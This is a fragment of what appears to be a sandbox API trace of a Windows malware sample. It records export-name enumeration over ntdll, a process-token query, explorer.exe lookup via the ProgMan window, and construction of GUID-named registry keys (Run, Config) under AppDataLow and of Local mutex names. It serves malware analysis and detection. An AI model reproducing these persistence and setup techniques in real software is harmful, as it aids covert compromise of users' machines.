(lpString="CsrFreeCaptureBuffer") returned 20 [0046.005] lstrlenA (lpString="CsrGetProcessId") returned 15 [0046.005] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0046.005] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0046.005] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0046.005] lstrlenA (lpString="DbgBreakPoint") returned 13 [0046.005] lstrlenA (lpString="DbgPrint") returned 8 [0046.005] lstrlenA (lpString="DbgPrintEx") returned 10 [0046.005] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0046.005] lstrlenA (lpString="DbgPrompt") returned 9 [0046.005] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0046.005] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0046.005] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0046.005] lstrlenA (lpString="DbgUiContinue") returned 13 [0046.005] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0046.005] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0046.005] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0046.005] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0046.005] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0046.005] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0046.005] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0046.005] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0046.006] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0046.006] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0046.006] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0046.006] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0046.006] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0046.006] lstrlenA (lpString="EtwEventEnabled") returned 15 [0046.006] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0046.006] lstrlenA (lpString="EtwEventRegister") returned 16 [0046.006] lstrlenA (lpString="EtwEventUnregister") returned 18 [0046.006] lstrlenA (lpString="EtwEventWrite") returned 13 [0046.006] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0046.006] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0046.006] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0046.006] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0046.006] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0046.006] lstrlenA (lpString="EtwEventWriteString") returned 19 [0046.006] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0046.006] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0046.006] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0046.006] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0046.006] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0046.006] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0046.006] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0046.006] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0046.006] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0046.006] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0046.006] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0046.006] lstrlenA (lpString="EtwReplyNotification") returned 20 [0046.006] lstrlenA (lpString="EtwSendNotification") returned 19 [0046.006] lstrlenA (lpString="EtwSetMark") returned 10 [0046.006] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0046.006] lstrlenA (lpString="EtwTraceMessage") returned 15 [0046.006] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0046.006] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0046.006] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0046.006] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0046.006] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0046.006] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0046.006] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0046.006] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0046.007] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0046.007] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0046.007] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0046.007] lstrlenA (lpString="KiFastSystemCall") returned 16 [0046.007] lstrlenA (lpString="KiFastSystemCallRet") returned 19 [0046.007] lstrlenA (lpString="KiIntSystemCall") returned 15 [0046.007] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0046.007] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0046.007] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0046.007] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0046.007] lstrlenA (lpString="LdrAccessResource") returned 17 [0046.007] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0046.007] lstrlenA (lpString="LdrAddRefDll") returned 12 [0046.007] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0046.007] lstrlenA (lpString="LdrEnumResources") returned 16 [0046.007] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0046.007] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0046.007] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0046.007] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0046.007] lstrlenA (lpString="LdrFindResource_U") returned 17 [0046.007] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0046.007] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0046.007] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0046.007] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0046.007] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0046.007] lstrlenA (lpString="LdrGetFailureData") returned 17 [0046.007] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0046.007] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0046.007] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0046.007] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0046.007] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0046.007] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0046.007] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0046.007] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0046.007] lstrlenA (lpString="LdrLoadDll") returned 10 [0046.007] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0046.007] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0046.007] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0046.007] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0046.007] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0046.007] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0046.008] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0046.008] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0046.008] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0046.008] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0046.008] lstrlenA (lpString="LdrResFindResource") returned 18 [0046.008] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0046.008] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0046.008] lstrlenA (lpString="LdrResRelease") returned 13 [0046.008] lstrlenA (lpString="LdrResSearchResource") returned 20 [0046.008] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0046.008] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0046.008] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0046.008] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0046.008] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0046.008] lstrlenA (lpString="LdrShutdownThread") returned 17 [0046.008] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0046.008] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0046.008] lstrlenA (lpString="LdrUnloadDll") returned 12 [0046.008] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0046.008] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0046.008] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0046.008] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0046.008] lstrlenA (lpString="LdrWx86FormatVirtualImage") returned 25 [0046.008] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0046.008] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0046.008] lstrlenA (lpString="MD4Final") returned 8 [0046.008] lstrlenA (lpString="MD4Init") returned 7 [0046.008] lstrlenA (lpString="MD4Update") returned 9 [0046.008] lstrlenA (lpString="MD5Final") returned 8 [0046.008] lstrlenA (lpString="MD5Init") returned 7 [0046.008] lstrlenA (lpString="MD5Update") returned 9 [0046.008] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0046.008] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0046.008] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0046.008] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0046.008] lstrlenA (lpString="NtAccessCheck") returned 13 [0046.008] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0046.008] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0046.008] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0046.008] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0046.008] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0046.009] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0046.009] lstrlenA (lpString="NtAddAtom") returned 9 [0046.009] lstrlenA (lpString="NtAddBootEntry") returned 14 [0046.009] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0046.009] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0046.009] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0046.009] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0046.009] lstrlenA (lpString="NtAlertThread") returned 13 [0046.009] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0046.009] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0046.009] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0046.009] lstrlenA (lpString="NtAllocateUuids") returned 15 [0046.009] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0046.009] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0046.009] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0046.009] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0046.009] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0046.009] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0046.009] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0046.009] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0046.009] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0046.009] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0046.009] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0046.009] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0046.009] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0046.009] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0046.009] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0046.009] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0046.009] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0046.009] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0046.009] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0046.009] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0046.009] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0046.009] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0046.009] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0046.009] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0046.009] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0046.009] lstrlenA (lpString="NtCallbackReturn") returned 16 [0046.009] lstrlenA (lpString="NtCancelIoFile") returned 14 [0046.009] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0046.010] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0046.010] lstrlenA (lpString="NtCancelTimer") returned 13 [0046.010] lstrlenA (lpString="NtClearEvent") returned 12 [0046.010] lstrlenA (lpString="NtClose") returned 7 [0046.010] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0046.010] lstrlenA (lpString="NtCommitComplete") returned 16 [0046.010] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0046.010] lstrlenA (lpString="NtCommitTransaction") returned 19 [0046.010] lstrlenA (lpString="NtCompactKeys") returned 13 [0046.010] lstrlenA (lpString="NtCompareTokens") returned 15 [0046.010] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0046.010] lstrlenA (lpString="NtCompressKey") returned 13 [0046.010] lstrlenA (lpString="NtConnectPort") returned 13 [0046.010] lstrlenA (lpString="NtContinue") returned 10 [0046.010] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0046.010] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0046.010] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0046.010] lstrlenA (lpString="NtCreateEvent") returned 13 [0046.010] lstrlenA (lpString="NtCreateEventPair") returned 17 [0046.010] lstrlenA (lpString="NtCreateFile") returned 12 [0046.010] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0046.010] lstrlenA (lpString="NtCreateJobObject") returned 17 [0046.010] lstrlenA (lpString="NtCreateJobSet") returned 14 [0046.010] lstrlenA (lpString="NtCreateKey") returned 11 [0046.010] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0046.010] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0046.010] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0046.010] lstrlenA (lpString="NtCreateMutant") returned 14 [0046.010] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0046.010] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0046.010] lstrlenA (lpString="NtCreatePort") returned 12 [0046.010] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0046.010] lstrlenA (lpString="NtCreateProcess") returned 15 [0046.010] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0046.010] lstrlenA (lpString="NtCreateProfile") returned 15 [0046.010] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0046.010] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0046.010] lstrlenA (lpString="NtCreateSection") returned 15 [0046.010] lstrlenA (lpString="NtCreateSemaphore") returned 17 [0046.015] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75220000 [0046.015] GetProcAddress (hModule=0x75220000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7522ca94 [0046.015] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0046.022] NtOpenProcess (in: ProcessHandle=0x2bfd2c, DesiredAccess=0x400, ObjectAttributes=0x2bfd0c*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2bfd24*(UniqueProcess=0xaf8, UniqueThread=0x0) | out: ProcessHandle=0x2bfd2c*=0x140) returned 0x0 [0046.022] NtOpenProcessToken (in: ProcessHandle=0x140, DesiredAccess=0x8, TokenHandle=0x2bfd30 | out: TokenHandle=0x2bfd30*=0x144) returned 0x0 [0046.022] NtQueryInformationToken (in: TokenHandle=0x144, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bfd34 | out: TokenInformation=0x0, ReturnLength=0x2bfd34) returned 0xc0000023 [0046.022] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x24) returned 0x2a989e0 [0046.022] NtQueryInformationToken (in: TokenHandle=0x144, TokenInformationClass=0x1, TokenInformation=0x2a989e0, TokenInformationLength=0x24, ReturnLength=0x2bfd34 | out: TokenInformation=0x2a989e0, ReturnLength=0x2bfd34) returned 0x0 [0046.022] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.022] NtClose (Handle=0x144) returned 0x0 [0046.022] NtClose (Handle=0x140) returned 0x0 [0046.022] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76d00000 [0046.023] GetProcAddress (hModule=0x76d00000, lpProcName="StrRChrA") returned 0x76d0ccf5 [0046.023] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0046.023] _strupr (in: _String=0x2a987e4 | out: _String="EXPLORER.EXE") returned="EXPLORER.EXE" [0046.023] lstrlenA (lpString="EXPLORER.EXE") returned 12 [0046.023] GetCurrentProcessId () returned 0xaf8 [0046.023] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76c00000 [0046.023] GetProcAddress (hModule=0x76c00000, lpProcName="GetWindowThreadProcessId") returned 0x76c191b4 [0046.023] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76c00000 [0046.023] GetProcAddress (hModule=0x76c00000, lpProcName="FindWindowA") returned 0x76c1ffe6 [0046.023] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0046.023] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x2bfd2c | out: lpdwProcessId=0x2bfd2c) returned 0x45c [0046.024] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.024] GetProcAddress (hModule=0x76c00000, lpProcName="wsprintfA") returned 0x76c2ae5f [0046.024] wsprintfA (in: param_1=0x2a989e0, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0046.024] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0046.024] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x4e) returned 0x2a98a10 [0046.024] lstrcpyA (in: lpString1=0x2a98a10, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0046.024] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0046.024] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.025] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0046.025] lstrlenA (lpString="\\Vr") returned 3 [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x4f) returned 0x2a98a68 [0046.025] lstrcpyA (in: lpString1=0x2a98a68, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0046.025] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0046.025] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0046.025] lstrlenA (lpString="\\Sfi") returned 4 [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x50) returned 0x2a98ac0 [0046.025] lstrcpyA (in: lpString1=0x2a98ac0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0046.025] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0046.025] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0046.025] lstrlenA (lpString="\\Run") returned 4 [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x50) returned 0x2a98b18 [0046.025] lstrcpyA (in: lpString1=0x2a98b18, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0046.025] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0046.025] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0046.025] lstrlenA (lpString="\\Config") returned 7 [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x53) returned 0x2a98b70 [0046.025] lstrcpyA (in: lpString1=0x2a98b70, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0046.025] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.025] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0046.025] lstrlenA (lpString="Local\\") returned 6 [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98bd0 [0046.025] lstrcpyA (in: lpString1=0x2a98bd0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.025] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0046.025] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.025] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0046.025] lstrlenA (lpString="Local\\") returned 6 [0046.025] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98c08 [0046.025] lstrcpyA (in: lpString1=0x2a98c08, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.025] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0046.026] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.026] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0046.026] lstrlenA (lpString="Local\\") returned 6 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98c40 [0046.026] lstrcpyA (in: lpString1=0x2a98c40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.026] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0046.026] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.026] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0046.026] lstrlenA (lpString="Local\\") returned 6 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98c78 [0046.026] lstrcpyA (in: lpString1=0x2a98c78, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.026] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0046.026] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.026] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0046.026] lstrlenA (lpString="Local\\") returned 6 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98cb0 [0046.026] lstrcpyA (in: lpString1=0x2a98cb0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.026] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0046.026] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.026] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0046.026] lstrlenA (lpString="Local\\") returned 6 [0046.026] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98ce8 [0046.026] 